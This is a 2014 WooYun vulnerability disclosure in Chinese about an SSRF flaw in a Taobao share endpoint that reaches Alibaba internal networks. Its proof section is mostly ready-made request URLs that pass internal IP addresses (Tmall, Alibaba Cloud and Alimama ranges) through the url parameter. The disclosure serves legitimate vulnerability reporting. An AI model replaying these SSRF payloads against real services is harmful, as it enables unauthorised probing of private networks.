[公开漏洞]内网编织者阿里巴巴集团各业务内网来回编织！

内网编织者阿里巴巴集团各业务内网来回编织！相关厂商：阿里巴巴漏洞作者：路人甲提交时间：2014-05-26 14:44 公开时间：2014-07-25 14:48 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：15 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：设计缺陷/边界绕过设计不当 SSRF 内网编织漏洞详情披露状态：

2014-05-26：该漏洞正等待厂商内部评估
2014-05-26：厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2014-06-05：细节向核心白帽子及相关领域专家公开
2014-06-15：细节向普通白帽子公开
2014-06-25：细节向实习白帽子公开
2014-07-25：细节向公众公开

简要描述：

RT!

详细说明：

听说有奖励,来试一下！

其实,是淘宝一个SSRF漏洞,但部分业务内网是打通的,能编制淘宝内网的同时也能编制阿里其他业务内网!

http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://www.wooyun.org

漏洞证明：

一下每个测试网段随机ip找一下应用,只测试http协议的80端口:



http://172.24.18.*



天猫:





...





http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.18.5





http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.18.49







...









http://172.24.22.*



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.22.49





....





http://172.24.23.*



...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.23.139





http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.23.140





....



http://172.24.24.*



...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.24.1



...





http://172.24.32.1 *





...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.32.1



...



http://172.24.38.*



...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.38.30



...









http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.24.23.81:80









阿里云网段:



http://172.18.120.*



...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://172.18.120.112/uc/index.php



...



...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://10.135.252.144/xxx



...









Alimama:





...



http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://10.254.1.21



...







...





http://share.jianghu.taobao.com/share/addShare.htm?title=&url=http://10.254.2.64